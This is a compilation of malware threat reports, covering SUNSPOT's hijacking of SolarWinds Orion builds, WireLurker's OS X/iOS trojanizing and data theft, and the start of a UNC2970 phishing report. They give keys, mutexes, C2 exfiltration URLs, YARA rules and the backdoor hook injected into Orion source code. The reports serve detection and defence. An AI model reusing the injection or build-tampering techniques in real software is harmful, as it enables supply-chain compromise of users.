When SUNSPOT executes, it creates a mutex named `{12d61a41-4b74-7610-a4d8-3028d2f56395}` to ensure only one instance is running. It then creates an encrypted log file at `C:\Windows\Temp\vmware-vmdmp.log`. Individual log entries are encrypted with the stream cipher RC4, using the hard-coded key `FC F3 2A 83 E5 F6 D0 24 A6 BF CE 88 30 C2 48 E7`. Throughout execution, SUNSPOT will log errors to this file, along with other deployment information. Log entries are delineated by the hex string `32 78 A5 E7 1A 79 91 AC` and begin with the number of seconds elapsed since the first log line. Most log lines corresponding to an error contain a step number (e.g., Step19) requiring knowledge of the malware to understand their meaning. These steps and their mapping to the malware actions are provided at the end of this blog. The step numbering does not follow the actual execution order, suggesting the calls to the logging function were added by the developers during the creation of the malware as they progressed and needed to focus their efforts on debugging one part of the code. An extract of a log file generated by SUNSPOT in a test environment is given below.
```
0.000 START
22.781[3148] + 'msbuild.exe' [6252]
194.343[13760] + 'msbuild.exe' [6252]
324.250[14696] + 'msbuild.exe' [6252]
351.125[14696] - 0
352.031[14176] + 'msbuild.exe' [6252]
376.343[11864] + 'msbuild.exe' [6252]
439.953[9204] + 'msbuild.exe' [6252]
485.343[9204] Solution directory: C:\Users\User\Source
485.343[ERROR] Step4('C:\Users\User\Source\Src\Lib\SolarWinds.Orion.Core.BusinessLayer\BackgroundInventory\InventoryManager.cs') fails
```
The malware then grants itself debugging privileges by modifying its security token to add `SeDebugPrivilege`. This step is a prerequisite for the remainder of SUNSPOT’s execution, which involves reading other processes’ memory.
### Build Hijacking Steps
After initialization, SUNSPOT monitors running processes for instances of `MsBuild.exe`, which is part of Microsoft Visual Studio development tools. Copies of `MsBuild.exe` are identified by hashing the name of each running process and comparing it to the corresponding value, `0x53D525`. The hashing algorithm used for the comparison is ElfHash and is provided in Python below.
```python
def elf_hash(name):
h = 0
for c in name:
v = (c + (h << 4))
msb = v & 0xF0000000
if msb != 0:
v ^= (msb >> 24)
h = ~msb & v
return h
```
When SUNSPOT finds an `MsBuild.exe` process, it will spawn a new thread to determine if the Orion software is being built and, if so, hijack the build operation to inject SUNBURST. The monitoring loop executes every second, allowing SUNSPOT to modify the target source code before it has been read by the compiler.
Although the mutex created during the initialization should already prevent multiple process monitoring loops from running, the malware checks for the presence of a second mutex — `{56331e4d-76a3-0390-a7ee-567adf5836b7}`. If this mutex is found, the backdoor interprets it as a signal to quit, waits for the completion of its currently running backdoor injection threads, and exits. This mutex was likely intended to be used by StellarParticle operators to discreetly stop the malware, instead of using a riskier method such as killing the process. Stopping SUNSPOT in the middle of its operation could result in unfinished tampering of the Orion source code, and lead to Orion build errors that SolarWinds developers would investigate, revealing the adversary’s presence.
### Command-Line Arguments Extraction from Process Memory
The malware extracts the command-line arguments for each running `MsBuild.exe` process from the virtual memory using a methodology similar to one publicly documented. A call to `NtQueryInformationProcess` allows the adversary to obtain a pointer to the remote process’s Process Environment Block (PEB), which contains a pointer to a `_RTL_USER_PROCESS_PARAMETERS` structure. The latter is read to get the full command line passed to the `MsBuild.exe` process.
The command line is then parsed to extract individual arguments, and SUNSPOT looks for the directory path of the Orion software Visual Studio solution. This value is hard-coded in the binary, in an encrypted form using AES128-CBC, whose parameters are given below. The same material is used for all of the blobs encrypted with AES in the binary.
- key = `FC F3 2A 83 E5 F6 D0 24 A6 BF CE 88 30 C2 48 E7` (same as the RC4 key)
- iv = `81 8C 85 49 B9 00 06 78 0B E9 63 60 26 64 B2 DA`
The key and initialization vector (IV) are not unique and can be independently found in other binary samples of several popular video games. It is plausible the material was chosen on purpose in order to make static detections on the values impractical.
### Orion Source Code Replacement
When SUNSPOT finds the Orion solution file path in a running `MsBuild.exe` process, it replaces a source code file in the solution directory with a malicious variant to inject SUNBURST while Orion is being built. While SUNSPOT supports replacing multiple files, the identified copy only replaces `InventoryManager.cs`.
The malicious source code for SUNBURST, along with target file paths, are stored in AES128-CBC encrypted blobs and are protected using the same key and initialization vector.
As causing build errors would very likely prompt troubleshooting actions from the Orion developers and lead to the adversary’s discovery, the SUNSPOT developers included a hash verification check, likely to ensure the injected backdoored code is compatible with a known source file, and also avoid replacing the file with garbage data from a failed decryption. In the exemplar SUNSPOT sample, the MD5 hash for the backdoored source code is `5f40b59ee2a9ac94ddb6ab9e3bd776ca`.
If the decryption of the parameters (target file path and replacement source code) is successful and if the MD5 checks pass, SUNSPOT proceeds with the replacement of the source file content. The original source file is copied with a `.bk` extension (e.g., `InventoryManager.bk`), to back up the original content. The backdoored source is written to the same filename, but with a `.tmp` extension (e.g., `InventoryManager.tmp`), before being moved using `MoveFileEx` to the original filename (`InventoryManager.cs`).
After these steps, the source file backdoored with SUNBURST will then be compiled as part of the standard process. SUNSPOT appends an entry in the log file with the date and time of the backdoor attempt and waits for the `MsBuild.exe` process to exit before restoring the original source code and deleting the temporary `InventoryManager.bk` file. If the Orion solution build is successful, it is backdoored with SUNBURST.
### SUNBURST Source Code
The source code of SUNBURST was likely sanitized before being included in SUNSPOT. The use of generic variable names, pre-obfuscated strings, and the lack of developer comments or disabled code is similar to what could be obtained after decompiling a backdoored Orion binary.
In order to remove compilation warnings that could be generated by the adversary’s own code — which could alert the SolarWinds developers — StellarParticle made their edits within `#pragma warning disable` and `#pragma warning restore` statements, hinting at what parts were edited. In particular, SUNSPOT’s entry point was added to the legitimate Orion software `RefreshInternal` function by adding the following try/catch block:
```csharp
try {
if (!OrionImprovementBusinessLayer.IsAlive) {
Thread th = new Thread(OrionImprovementBusinessLayer.Initialize) { IsBackground = true };
th.Start();
}
} catch (Exception) {
}
```
## Tactics, Techniques and Procedures (TTPs)
The following TTPs may be used to characterize the SUNSPOT activity described in this blog:
- Persistence using scheduled tasks, triggered at boot time
- Use of AES128-CBC to protect the targeted source code files and the backdoored source code file in the binary
- Use of RC4 encryption with a hard-coded key to protect the log file entries
- Log entries from different executions of the malware that are separated with a hard-coded value `32 78 A5 E7 1A 79 91 AC`
- Log file creation in the system temp directory `C:\Windows\Temp\vmware-vmdmp.log` masquerading as a legitimate VMWare log file
- Detection of the targeted Visual Studio solution build by reading the virtual memory of `MsBuild.exe` processes, looking for the targeted solution filename
- Access to the remote process arguments made via the remote process’s PEB structure
- Replacement of source code files during the build process, before compilation, by replacing file content with another version containing SUNSPOT
- Insertion of the backdoor code within `#pragma` statements disabling and restoring warnings, to prevent the backdoor code lines from appearing in build logs
- Check of the MD5 hashes of the original source code and of the backdoored source code to ensure the tampering will not cause build errors
- Attempt to open a non-existing mutex to detect when the malware operators want the backdoor to stop execution and safely exit
## Host Indicators of Attack
The tables below detail files belonging to the SUNSPOT campaigns including filename, SHA256 hash, and build time when known.
### Executables
| Filename | SHA256 Hash | Build Time (UTC) |
|-------------------|-----------------------------------------------------------------------------|-------------------------|
| taskhostsvc.exe | c45c9bda8db1d470f1fd0dcc346dc449839eb5ce9a948c70369230af0b3ef168 | 2020-02-20 11:40:02 |
### Related Files
| Description | SHA256 Hash |
|---------------------------------------------------------|-----------------------------------------------------------------------------|
| Backdoored Orion source code with SUNSPOT | 0819db19be479122c1d48743e644070a8dc9a1c852df9a8c0dc2343e904da389 |
### File System
The presence of one or more of the following files may indicate a SUNSPOT infection.
| File Path | Description |
|----------------------------------------------|--------------------------------------|
| C:\Windows\Temp\vmware-vmdmp.log | Encrypted log file |
### Volatile Artifacts
| Name | Type | Description |
|-----------------------------------------------------|----------|--------------------------------------|
| {12d61a41-4b74-7610-a4d8-3028d2f56395} | Mutex | Ensures a single implant instance |
| {56331e4d-76a3-0390-a7ee-567adf5836b7} | Mutex | Used to signal to the malware to safely exit |
## YARA Rules
```yara
rule CrowdStrike_SUNSPOT_01 : artifact stellarparticle sunspot {
meta:
copyright = "(c) 2021 CrowdStrike Inc."
description = "Detects RC4 and AES key encryption material in SUNSPOT"
version = "202101081448"
last_modified = "2021-01-08"
actor = "StellarParticle"
malware_family = "SUNSPOT"
strings:
$key = {fc f3 2a 83 e5 f6 d0 24 a6 bf ce 88 30 c2 48 e7}
$iv = {81 8c 85 49 b9 00 06 78 0b e9 63 60 26 64 b2 da}
condition:
all of them and filesize < 32MB
}
rule CrowdStrike_SUNSPOT_02 : artifact stellarparticle sunspot {
meta:
copyright = "(c) 2021 CrowdStrike Inc."
description = "Detects mutex names in SUNSPOT"
version = "202101081448"
last_modified = "2021-01-08"
actor = "StellarParticle"
malware_family = "SUNSPOT"
strings:
$mutex_01 = "{12d61a41-4b74-7610-a4d8-3028d2f56395}" wide ascii
$mutex_02 = "{56331e4d-76a3-0390-a7ee-567adf5836b7}" wide ascii
condition:
any of them and filesize < 10MB
}
rule CrowdStrike_SUNSPOT_03 : artifact logging stellarparticle sunspot {
meta:
copyright = "(c) 2021 CrowdStrike Inc."
description = "Detects log format lines in SUNSPOT"
version = "202101081443"
last_modified = "2021-01-08"
actor = "StellarParticle"
malware_family = "SUNSPOT"
strings:
$s01 = "[ERROR] ***Step1('%ls','%ls') fails with error %#x***\x0A" ascii
$s02 = "[ERROR] Step2 fails\x0A" ascii
$s03 = "[ERROR] Step3 fails\x0A" ascii
$s04 = "[ERROR] Step4('%ls') fails\x0A" ascii
$s05 = "[ERROR] Step5('%ls') fails\x0A" ascii
$s06 = "[ERROR] Step6('%ls') fails\x0A" ascii
$s07 = "[ERROR] Step7 fails\x0A" ascii
$s08 = "[ERROR] Step8 fails\x0A" ascii
$s09 = "[ERROR] Step9('%ls') fails\x0A" ascii
$s10 = "[ERROR] Step10('%ls','%ls') fails with error %#x\x0A" ascii
$s11 = "[ERROR] Step11('%ls') fails\x0A" ascii
$s12 = "[ERROR] Step12('%ls','%ls') fails with error %#x\x0A" ascii
$s13 = "[ERROR] Step30 fails\x0A" ascii
$s14 = "[ERROR] Step14 fails with error %#x\x0A" ascii
$s15 = "[ERROR] Step15 fails\x0A" ascii
$s16 = "[ERROR] Step16 fails\x0A" ascii
$s17 = "[%d] Step17 fails with error %#x\x0A" ascii
$s18 = "[%d] Step18 fails with error %#x\x0A" ascii
$s19 = "[ERROR] Step19 fails with error %#x\x0A" ascii
$s20 = "[ERROR] Step20 fails\x0A" ascii
$s21 = "[ERROR] Step21(%d,%s,%d) fails\x0A" ascii
$s22 = "[ERROR] Step22 fails with error %#x\x0A" ascii
$s23 = "[ERROR] Step23 fails with error %#x\x0A" ascii
$s24 = "[%d] Solution directory: %ls\x0A" ascii
$s25 = "[%d] %04d-%02d-%02d %02d:%02d:%02d:%03d %ls\x0A" ascii
$s26 = "[%d] + '%s' " ascii
condition:
2 of them and filesize < 10MB
}
```
## ATT&CK Framework
The following table maps reported SUNSPOT TTPs to the MITRE ATT&CK® framework.
| Tactic | Technique | Observable |
|----------------------|---------------------------|---------------------------------------------------------------------------|
| Reconnaissance | T1592.002 Gather | StellarParticle had an understanding of the Orion build chain before SUNSPOT was developed to tamper with it. |
| Resource Development | T1587.001 Develop | SUNSPOT was weaponized to specifically target the Orion build to replace one source code file and include the SUNBURST backdoor. |
| Persistence | T1053.005 Scheduled | SUNSPOT is persisted in a scheduled task set to execute after the host has booted. |
| Defense Evasion | T1140 | The configuration in SUNSPOT is encrypted using AES128-CBC. It contains the replacement source code, the targeted Visual Studio solution file name, and targeted source code file paths relative to the solution directory. |
| | T1027 Obfuscated | The log file SUNSPOT writes is encrypted using RC4. |
| | T1480 Execution Guardrails | The replacement of source code is done only if the MD5 checksums of both the original source code file and backdoored replacement source code match hardcoded values. |
| | T1036 Masquerading | SUNSPOT masquerades as a legitimate Windows Binary, and writes its logs in a fake VMWare log file. |
| Discovery | T1057 Process Discovery | SUNSPOT monitors running processes looking for instances of MsBuild.exe. |
| Impact | T1565.001 Data Manipulation | Modification of the Orion source code to inject SUNBURST. |
## Logged Steps and Corresponding Errors
The following table provides a mapping of the step numbers found in the log file to the actual action performed by SUNSPOT. The step numbering does not reflect the actual execution order. Some values are also missing.
| Step In Log | Meaning |
|---------------------|-------------------------------------------------------------------------|
| START | Logged after the initialization has completed successfully |
| Step1 | Original file cannot be restored after tampering with the build process |
| Step2 | Could not decrypt one of the targeted source code file’s path (relative to the solution directory) |
| Step3 | Could not create the file path for the targeted source code file |
| Step4 | Could not get the size of the original source code file |
| Step5 | Computation of the MD5 hash of the original source file failed |
| Step6 | There was a mismatch between the expected target original source code file MD5 hash and the expected value |
| Step7 | Could not successfully decrypt the backdoored source code |
| Step8 | Computation of the MD5 hash of the backdoored source code failed |
| Step9 | There was a mismatch between the expected backdoored source code data MD5 hash and the expected value |
| Step10 | Could not create backup of the original source code file |
| Step11 | Could not write the backdoored source code to disk (in the .tmp file) |
| Step12 | Could not copy the temporary file with the backdoored source code (with the .tmp extension) to the path of the original source |
| Step14 | Could not read the MsBuild.exe process memory to resolve its command-line arguments |
| Step15 | The returned PEB address for the remote process is zero |
| Step16 | Calling NtQueryInformationProcess failed |
| Step17 | Could not create a handle to the MsBuild.exe process with SYNCHRONIZE access |
| Step18 | Could not successfully wait for the MsBuild.exe process termination |
| Step19 | Obtention of the address of the NtQueryInformationProcess function failed |
| Step20 | Modification of the process security token to obtain SeDebugPrivileges failed |
| Step21 | The number of currently running tampering threads exceeded 256, and SUNSPOT cannot track more threads |
| Step22 | Unable to get a list of running processes |
| Step23 | There was an error when enumerating the running processes list |
| Step30 | Could not decrypt the solution name core.sln | |
# WireLurker—Apple OS X and iOS Malware
## Executive Summary
Palo Alto Networks® recently discovered a new family of Apple OS X and iOS malware, which we have named WireLurker. We believe that this malware family heralds a new era in malware across Apple’s desktop and mobile platforms based on the following characteristics:
- Of known malware families distributed through trojanized/repackaged OS X applications, the biggest in scale we have ever seen.
- Only the second known malware family that attacks iOS devices through OS X via USB.
- First malware to automate generation of malicious iOS applications through binary file replacement.
- First known malware that can infect installed iOS applications similar to a traditional virus.
- First in-the-wild malware to install third-party applications on non-jailbroken iOS devices through enterprise provisioning.
WireLurker was used to trojanize 467 OS X applications on the Maiyadi App Store, a third-party Mac application store in China. In the past six months, these 467 infected applications were downloaded over 356,104 times and may have impacted hundreds of thousands of users.
WireLurker monitors any iOS device connected via USB with an infected OS X computer and installs downloaded third-party applications or automatically generated malicious applications onto the device, regardless of whether it is jailbroken. This is the reason we call it “wire lurker.” Researchers have demonstrated similar methods to attack non-jailbroken devices before; however, this malware combines a number of techniques to successfully realize a new breed of threat to all iOS devices.
WireLurker exhibits complex code structure, multiple component versions, file hiding, code obfuscation, and customized encryption to thwart anti-reversing. In this whitepaper, we explain how WireLurker is delivered, the details of its malware progression, and specifics on its operation.
We further describe WireLurker’s potential impact; methods to prevent, detect, contain, and remediate the threat; and Palo Alto Networks enterprise security platform protections in place to counter associated risk.
WireLurker is capable of stealing a variety of information from the mobile devices it infects and regularly requests updates from the attackers' command and control server. This malware is under active development and its creator’s ultimate goal is not yet clear.
## Background
### User Reporting for this Threat
Qū Chāo, a developer at Tencent, initially observed WireLurker on June 1, 2014, when he found highly suspicious files and processes on his Mac and iPhone. Nine days later, a thread was created on a Chinese developer forum by the user “LeoHe,” describing anomalous findings on his iPhone. A similar thread was created on a Chinese Apple fan forum on August 9, 2014.
In these forum threads, numerous users reported the installation of strange applications and the creation of enterprise provisioning profiles on their non-jailbroken iPhones and iPads. They also mentioned launch daemons found on their Mac computers, with names like “machook_damon” and “WatchProc.” Some of these same users stated that they recently downloaded and installed applications from the Maiyadi App Store, a third-party OS X and iOS application store in China.
### Investigation of the Third Party App Store
Some forum users specifically mentioned downloading a Mac application named “CleanApp” from the Maiyadi App Store and suspected it might be a culprit. Our investigation revealed that almost all of the Mac applications (totaling 467) uploaded to the Maiyadi App Store from April 30, 2014, to June 11, 2014, were trojanized/repackaged with WireLurker. These impacted applications were downloaded 356,104 times, as of October 16, 2014.
All of the WireLurker trojanized applications included an installation interface that used “Pirates of the Caribbean” themed wallpaper. A “麦客孤独” seal and QQ account number were also displayed, both of which correspond to the owner of the Maiyadi site. Another similarity between these installers was that their packages always contained an application named “使用帮助” (“User Manual,” in English).
These trojanized applications were hosted on two cloud storage websites, Huawei and Baidu, instead of on Maiyadi’s servers.
## WireLurker Workflow and Malware Progression
WireLurker was used to trojanize pirated Mac applications that were uploaded to the Maiyadi App Store. Victims downloaded these applications, installed them on their OS X systems, and ran them. On instantiation, WireLurker’s entry code was transparently executed, dropping malicious executable files, dynamic libraries, and configuration files prior to running the original pirated application.
Some of these executable files were loaded by the operating system as launch daemons. One launch daemon manages connections with WireLurker’s Command and Control (C2) server and checks whether an updated version of the daemon was available. If so, it downloads an updater package and runs an enclosed shell script to update itself. Newer versions of WireLurker employ a launch daemon that downloads iOS applications signed with enterprise certificates and leverages custom encryption for C2 communication. Yet another launch daemon is responsible for attacking iOS devices connected via USB. It monitors USB connection events and upon detecting an iOS device ascertains its jailbreak status. This check is accomplished by trying to establish a connection with the AFC2 service on the device, which if successful would indicate it was jailbroken. This daemon then sends a comprehensive enumeration of device information to the C2 server.
For a non-jailbroken iOS device, WireLurker simply installs iOS applications that it downloads, leveraging iTunes protocols implemented by the libimobiledevice library. For a jailbroken iOS device, WireLurker backs up specific applications from the device to the Mac computer and trojanizes/repackages both backed up and additional downloaded applications with a malicious binary file. These altered iOS applications are then installed to the device through the same iTunes protocols noted above. Additionally, WireLurker uploads a malicious MobileSubstrate tweak file to the device through the AFC2 service.
At this point, new application icons are visible to the user on the connected iOS device, whether jailbroken or not. For a jailbroken device, malicious code is injected into system applications, querying all contact names, phone numbers, and Apple IDs, and sending them to the C2 server along with WireLurker status information.
## WireLurker Versions
From April 30, 2014, through October 17, 2014, we observed three distinct versions of WireLurker. The first version (version A) consisted of the original malicious files that were used to trojanize Mac applications on Maiyadi. A week later, on May 7, 2014, the second version (version B) was distributed through WireLurker’s C2 server. The “v” parameter of a URL found in its code supports that this is indeed the second version from the attacker’s point of view. Then, prior to August 2014, the C2 server began distributing the third version (version C). The content of this latest updating script confirmed it was the successor of version B.
Examination of the differences between these three versions of code demonstrates progressive refinement:
- Version A neither downloads nor installs iOS applications to connected devices and communicated with the C2 server in the clear (plaintext).
- Version B downloads and installs iOS applications, but only for jailbroken devices; it also communicated with its C2 server in the clear.
- Version C downloads and installs iOS applications for both jailbroken and non-jailbroken devices, and incorporated a custom encryption protocol for its C2 server communication.
Another significant difference between versions is found in associated malicious filenames, paths, and their content. WireLurker consists of dozens of malicious files that can be grouped into the following categories:
- Original malicious samples which were used to trojanize Mac applications
- Dropped malicious executable files and configuration files
- Downloaded update packages from the C2 server
- Locally generated database and log files
- Downloaded IPA format iOS applications
- Malicious iOS executable files
- Malicious iOS dynamic library files
## Analysis of WireLurker OS X Malware
### Bundle Repackaging and File Hiding
Every OS X application is comprised of a bundle that contains an executable as its main entry. WireLurker trojanizes OS X applications using three files: a loader, shell script, and ZIP archive. The first step WireLurker takes is to append an underscore to the original bundle executable name and then copy its malicious loader into the bundle to replace the original executable. After executable replacement, WireLurker then adds a shell script, “start.sh,” and a ZIP archive, “FontMap1.cfg,” to the “Contents/Resources” folder of the bundle.
The “hidden” flag is then set for these four files. This flag is an Apple specified file property defined at “/usr/include/sys/stat.h” as “UF_HIDDEN.” With this flag set, a standard user won’t see the files in the Finder, but can still view them through the Terminal.
These operations trojanize the original application through repackaging. After the bundle is trojanized, the malicious loader is executed when the application is run.
### Self Update
In WireLurker version A, the dropped “globalupdate” file will be executed as a launch daemon and periodically check its C2 server for a new version. When the “version” field returns a non-zero value, WireLurker downloads the ZIP archive specified in the “url” field, decompresses that archive, and executes the enclosed “start.sh” script.
WireLurker version B uses a different C2 server request to check for updates. In this version, the HTTP response body contains plaintext for the “start.sh” script to execute, and the temporary folder from which it runs is set to “/tmp/up.”
Most update operations are accomplished through the “update” binary. This file is a Mach-O executable file header; however, a ZIP archive is appended to it. The ZIP archive includes another 10 files, with their MD5 hash values used for corresponding filenames.
### Persistence Mechanisms
WireLurker remains running as a background process, waiting for iOS devices to infect over USB connections. Multiple methods and redundancy are used to achieve this goal:
- Every time a user runs a WireLurker trojanized application, the loader executes malicious code in the background.
- WireLurker initialization and update scripts create and load launch daemons, ensuring persistence after reboot.
- Some WireLurker executables also load launch daemons through invoking the launchctl command.
Using these methods, there will always be at least two processes running on a WireLurker infected OS X system: one checking for updates and another for downloading IPA files and monitoring USB connections for iOS devices to infect.
### C2 Server Communication
WireLurker frequently communicates with its C2 server. To date, only one C2 server has been used: www[.]comeinbaby.com. This server’s key roles follow:
- Hosts code updates for download
- Hosts iOS applications for download
- Processes reports on WireLurker status
- Accepts uploads of exfiltrated Mac and iOS device information
- Accepts uploads of exfiltrated iOS user data
As noted previously, WireLurker versions A and B communicate with the C2 server in plaintext over HTTP. WireLurker version C uses a customized encryption protocol.
## Analysis of WireLurker iOS Malware
WireLurker uploads a malicious dynamic library, “sfbase.dylib,” to an iOS device and repackages a malicious executable file, “start,” into iOS application bundles that it installs. This section describes how these two files operate.
### Code Injection into System Applications
The “sfbase.dylib” dynamic library acts as a Cydia MobileSubstrate tweak. The MobileSubstrate framework loads this dynamic library into all jailbroken iOS applications; however, this tweak focuses on the Phone, Messages, Safari, Storage Mounter, Search, and Preferences system applications. On initialization, it hooks the UIWindow’s “sendEvent:” method by invoking the MSHookMessageEx API.
This dynamic library adds a notification observer within its “sendEvent:” hook for a user pressing the home button. On detection of this event, it kills all Phone, Messages, and Safari processes, in the background using root privileges.
### Self Update
Before hooking the “sendEvent:” method, “sfbase.dylib” also connects with its C2 server to check for updates. This HTTP request will return the newest version number as well as the download URL for that version.
### Exfiltration of User Data
In addition to hooking system APIs, the “sfbase.dylib” dynamic library also steals user data and uploads it to the C2 server. Specifically, it copies the file “/User/Library/AddressBook/AddressBook.sqlitedb” into the “/tmp” directory using root privileges, then executes an SQLite query to capture iMessage chats.
After executing the above SQLite queries, “sfbase.dylib” deletes those temporary database copies, saves results to a local file, and exfiltrates that file and Apple ID information to the C2 server.
## Overall Threat Analysis
### Use of Repackaging to Trojanize Applications
WireLurker trojanized OS X and iOS applications using repackaging through executable file replacement. This technique is both simple to implement and effective. We expect to see more OS X and iOS malware employing it in the future.
### Malicious Use of USB Connections
Proof of concepts for attacking non-jailbroken iOS devices over USB connections have been available for some time now. WireLurker is the second malware family known to employ this strategy. The notable difference between WireLurker and Mekie is that WireLurker also targets non-jailbroken iOS devices.
### Attacks Against Jailbroken Devices
From a trending perspective, it is clear that attacks against jailbroken iOS devices will continue to increase. There are common characteristics across these malware families, including:
- They all targeted jailbroken devices.
- They all used the Cydia Substrate framework or were hosted in some third-party Cydia repositories.
- They all originated from China and mainly targeted Chinese users.
### Attacks Against Non-Jailbroken Devices
WireLurker is now the only known active, non-jailbroken malware threat putting over 800 million iOS devices at risk. The use of enterprise provisioning to install applications on non-jailbroken devices is not a new concept.
## Prevention, Detection, Containment, and Remediation
### Prevention
The following are our recommendations to enterprises and users regarding prevention or mitigation of WireLurker or similar OS X or iOS malware threats:
- Enterprises should assure their mobile device traffic is routed through a threat prevention system using a mobile security application like GlobalProtect™.
- Employ an antivirus or security protection product for the Mac OS X system and keep its signatures up-to-date.
- In the OS X System Preferences panel under “Security & Privacy,” ensure “Allow apps downloaded from Mac App Store (or Mac App Store and identified developers)” is set.
- Do not download and run Mac applications or games from any third-party app store, download site, or other untrusted source.
- Keep the iOS version on your device up-to-date.
- Do not accept any unknown enterprise provisioning profile unless an authorized, trusted party explicitly instructs you to do so.
- Do not pair your iOS device with untrusted or unknown computers or devices.
- Avoid powering your iOS device through chargers from untrusted or unknown sources.
- Similarly, avoid connecting iOS devices with untrusted or unknown accessories or computers (Mac or PC).
- Do not jailbreak your iOS device; if you do jailbreak it, only use credible Cydia community sources and avoid the use or storage of sensitive personal information on that device.
### Detection and Containment
From May 21, 2014, through September 28, 2014, five different WireLurker files were submitted to VirusTotal; however, none of the 55 threat detection engines employed by VirusTotal identified this threat. Our hope is that this report will contribute to improved detection rates.
In terms of network-based detection, Palo Alto Networks released two signatures to detect all WireLurker C2 communication traffic. When our customers receive an alert for WireLurker from our unified platform, they can block this traffic by deploying a strict policy.
For host-based detection, Mac and iOS users should check processes and files on their Mac computers and iOS devices. We wrote a Python script for OS X systems to detect known malicious and suspicious files, as well as applications that exhibit characteristics of infection.
### Remediation
If WireLurker is found on any OS X computer, we recommend the deletion of respective files and removal of applications reported by the script. As of the publication date of this report, the iOS component of WireLurker is only spread through an infected Mac computer; accordingly, if WireLurker is found on a Mac, we recommend inspection of all iOS devices that have connected with that computer.
A quick check for iOS devices includes determining whether any unauthorized enterprise provisioning profiles were created by navigating to “Settings -> General -> Profile.” If an anomalous profile is found, it should be removed and a subsequent check of all applications should be performed. Delete any strange applications found on the device. For jailbroken devices, we recommend that you check whether the file “/Library/MobileSubstrate/DynamicLibraries/sfbase.dylib” exists. If so, you should delete it through a terminal connection, via an application like MobileTerminal or Secure Shell (SSH).
## Acknowledgements
We would like to thank CDSQ from the WeiPhone Technical Group for forwarding user reports to us, Qū Chāo from Tencent Inc. for providing samples of WireLurker version B, and Hui Gao, Xin Ouyang, Zhi Xu, and Jin Chen of Palo Alto Networks for making sure our customers are well protected by our products. We would also like to thank Rob Downs and Ryan Olson of Palo Alto Networks for their great effort on improving this report’s accuracy, fluency, and quality. Their works help all of us to understand the threat more clearly.
## Appendix
### SHA-1 Hashes of WireLurker Related Files
The following are the SHA-1 values of malicious files across the WireLurker lifecycle:
**Original Files Used to Trojanize:**
- `<variable name>`: e2b9578780ae318dbdb949aac32a7dde6c77d918
- `start.sh`: 42ad4311f5e7e520a40186809aad981f78c0cf05
- `FontMap1.cfg`: 1f30ef7a16482805ab37785ae1e66408bd482f20
**Downloaded Updates:**
- `update.zip`: 1eab02ab858e84c9b61caff92d88ff007ffe930e
- `start.sh`: ddb152c140ebff6b755b2822875c688ce3619e75
- `update`: 03c8dd6ea2a940da347e25f4de8724b4e8c48842
**Dropped Files (version A):**
- `machook`: 7adb66f1043a7378d418d51a415818373a5d3b67
- `globalupdate`: 0396176f3a9bfc8c2b8ddc979d723f9a77f16388
- `com.apple.globalupdate.plist`: 1e9bc3259a514bcce39bac895f46c04cb122677b
- `sfbase.dylib`: 461b51dd595c07f3c82be7cffc1cc77da6700605
**Dropped Files (version B):**
- `machook`: 4c04ccd66bf6a1edb7b94f9320f80289d1097829
- `itunesupdate`: f573add40eea1909312a438fc51cd45569cb94ab
- `globalupdate`: 0396176f3a9bfc8c2b8ddc979d723f9a77f16388
- `WatchProc`: 8f57cef045ed370d210d3fce2c0d261bd83c5167
**Dropped Files (version C):**
- `periodicdate`: a0462626db593020682008a02ffe4f219dbd804d
- `systemkeychain-helper`: 3113e0ca6466d20b0f2dcb1e85ac107d749f1080
- `com.apple.MailServiceAgentHelper`: 890f5456a79b185669294a706b5fc6f3c572b83b
### URLs for C2 Communication
The following are the HTTP URLs WireLurker used for C2 communication and their respective purpose:
- `http://www[.]comeinbaby.com/mac/getversion.php`: Checking for update (OS X)
- `http://www[.]comeinbaby.com/mac/saveinfo.php`: Exfiltration of system information
- `http://www[.]comeinbaby.com/mac/getsoft.php`: Heartbeat
- `http://www[.]comeinbaby.com/app/getversion.php`: Checking for update (iOS)
- `http://www[.]comeinbaby.com/app/saveinfo.php`: Exfiltration of user data
### Version C Encrypted C2 Communication Codes
The following is a list of WireLurker version C customized encryption C2 communication codes mapped to data context.
- `100`: Hardware information for the connected iOS device
- `101`: Enumeration of apps installed on the iOS device
- `102`: Start of operations on an iOS device
- `200`: Check for code update
- `999`: Current OS X system version |
# Stealing the LIGHTSHOW (Part One) — North Korea's UNC2970
Since June 2022, Mandiant has been tracking a campaign targeting Western media and technology companies from a suspected North Korean espionage group tracked as UNC2970. In June 2022, Mandiant Managed Defense detected and responded to an UNC2970 phishing campaign targeting a U.S.-based technology company. During this operation, Mandiant observed UNC2970 leverage three new code families: TOUCHMOVE, SIDESHOW, and TOUCHSHIFT. Mandiant suspects UNC2970 specifically targeted security researchers in this operation.
Following the identification of this campaign, Mandiant responded to multiple UNC2970 intrusions targeting U.S. and European media organizations through spear-phishing that used a job recruitment theme and demonstrated advancements in the group's ability to operate in cloud environments and against Endpoint Detection and Response (EDR) tools.
UNC2970 is suspected with high confidence to be UNC577, also known as Temp.Hermit. UNC577 is a cluster of North Korean cyber activity that has been active since at least 2013. The group has significant malware overlaps with other North Korean operators and is believed to share resources, such as code and complete malware tools with other distinct actors. While observed UNC577 activity primarily targets entities in South Korea, it has also targeted other organizations worldwide.
UNC2970 has historically targeted organizations with spear phishing emails containing a job recruitment theme. These operations have multiple overlaps with public reporting on “Operation Dream Job” by Google TAG, Proofpoint, and ClearSky. UNC2970 has recently shifted to targeting users directly on LinkedIn using fake accounts posing as recruiters. UNC2970 maintains an array of specially crafted LinkedIn accounts based on legitimate users. These accounts are well designed and professionally curated to mimic the identities of the legitimate users in order to build rapport and increase the likelihood of conversation and interaction. UNC2970 uses these accounts to socially engineer targets into engaging over WhatsApp, where UNC2970 will then deliver a phishing payload either to a target’s email or directly over WhatsApp. UNC2970 largely employs the PLANKWALK backdoor during phishing operations as well as other malware families that share code with multiple tools leveraged by UNC577. Mandiant recently published a blog post detailing UNC2970 activity that was identified by Mandiant Managed Defense during proactive threat hunting. This activity was initially clustered as UNC4034 but has since been merged into UNC2970 based on multiple infrastructure, tooling, and tactics, techniques, and procedures (TTP) overlaps.
## Summary
In June 2022, Mandiant Managed Defense detected and responded to an UNC2970 phishing campaign targeting a U.S.-based technology company. During this operation, Mandiant observed UNC2970 leverage three new code families: TOUCHMOVE, SIDESHOW, and TOUCHSHIFT. Mandiant suspects UNC2970 specifically targeted security researchers in this operation. Following the identification of this campaign, Mandiant responded to multiple UNC2970 intrusions targeting U.S. and European media organizations through spear-phishing that used a job recruitment theme.
## Initial Access
